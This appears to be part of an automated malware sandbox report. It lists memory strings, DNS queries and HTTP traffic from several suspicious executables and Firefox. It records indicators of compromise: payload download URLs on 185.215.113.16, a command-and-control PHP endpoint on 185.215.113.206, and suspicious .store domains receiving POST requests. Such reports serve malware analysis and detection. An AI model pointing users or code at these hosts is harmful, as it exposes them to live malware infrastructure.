Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2105239081.0000016BB6660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.2202348569.0000016BB6658000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2108552379.0000016BB665F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.2181654980.0000016BB509F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB646A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB6431000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.2181654980.0000016BB509F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2195227642.0000016BB644D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2181654980.0000016BB5090000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 00000017.00000002.2140090693.0000016BB41A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: ff3d383111.exe, 00000004.00000003.2130835546.0000000001239000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: ff3d383111.exe, 00000004.00000003.2131553160.0000000001220000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211581163.0000000001031000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: ff3d383111.exe, 00000004.00000003.2131553160.0000000001220000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: ff3d383111.exe, 00000004.00000003.2131553160.0000000001220000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.2130885999.000000000121B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee$
Source: ff3d383111.exe, 00000004.00000003.2131094812.000000000124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exet
Source: 9c961c26ae.exe, 0000001D.00000002.2235783567.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: num.exe, 0000001B.00000002.2049712419.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001B.00000002.2049712419.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: num.exe, 0000001B.00000002.2049712419.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/7
Source: num.exe, 0000001B.00000002.2049712419.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/N=P
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php1
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php=
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpM
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpi
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpt
Source: num.exe, 0000001B.00000002.2049712419.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/?
Source: num.exe, 0000001B.00000002.2049712419.000000000154A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/L
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000EFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/s
Source: 6e2c49386e.exe, 00000006.00000002.1928139125.0000000000E9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2062
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000017.00000002.2127718390.0000016BB067D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sCan
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: ff3d383111.exe, 00000004.00000003.1915500086.000000000120F000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1881342956.000000000120E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1895415115.000000000120F000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1901487712.0000000001210000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1864263167.0000000001210000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1863927801.0000000001210000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1878298115.000000000120E000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1863552145.000000000120F000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000004.00000003.1989886144.000000000120F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: ff3d383111.exe, 00000009.00000003.2114371105.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2009379322.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2211743409.0000000000FFD000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1975791240.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2031020913.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2089013132.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.1993908104.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftv
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000017.00000002.2137248291.0000016BB3C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2214195399.0000016BB7193000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000017.00000002.2137248291.0000016BB3C75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB631B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_REQUEST_BODY_SENTACTIVITY_SUBTYPE_PRO
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000017.00000002.2127429699.0000016BB04C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000017.00000002.2128759032.0000016BB092C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2128759032.0000016BB0911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB008A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB0061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times$
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB008A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB0061000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000017.00000002.2126230441.0000016BB008A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/setse
Source: firefox.exe, 00000017.00000002.2123948491.0000016BA4803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 00000017.00000002.2181654980.0000016BB509F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2206591258.0000016BB6C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2243396301.0000016BBC4BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2141882460.0000016BB433B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2109915086.0000016BB55CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2107320316.0000016BB807D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2261666886.0000016BBC86C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2001922469.0000016BB56D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2180279670.0000016BB4F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2137248291.0000016BB3C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2243396301.0000016BBC4CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2185673260.0000016BB575D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2214195399.0000016BB7176000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2217339582.0000016BB7B10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.2106755846.0000016BB809E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2136269584.0000016BB3B62000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2180279670.0000016BB4F7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2214195399.0000016BB71EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2259078814.0000016BBC703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2259078814.0000016BBC7B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2265478957.0000016BBE70B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: ff3d383111.exe, 00000004.00000003.1879735901.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, ff3d383111.exe, 00000009.00000003.2011012214.00000000058A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2191874895.0000016BB6133000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000017.00000002.2127718390.0000016BB067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-b
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 00000017.00000002.2127718390.0000016BB067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000017.00000002.2127718390.0000016BB067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLNon-zero
Source: firefox.exe, 00000017.00000002.2133944003.0000016BB23D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB632E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000017.00000002.2194610949.0000016BB632E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updateapp.update.noWindowAutoRestart.enabledchrome://branding/locale
Source: firefox.exe, 00000017.00000002.2163644149.0000016BB488D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul.popup-notification-description
Source: firefox.exe, 00000017.00000002.2163644149.0000016BB4803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2209771911.0000016BB6E23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000017.00000002.2180279670.0000016BB4FE3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulEz
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0AAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-captiv
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/arrows
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/moz-me
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/notifi
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xuldedupeLogins/shouldReplaceExisting:
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.2129547434.0000016BB0A9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulmaybeImportLogins:
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0A72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderBookm
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderQuick
Source: firefox.exe, 00000017.00000002.2129547434.0000016BB0ADF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderSearc
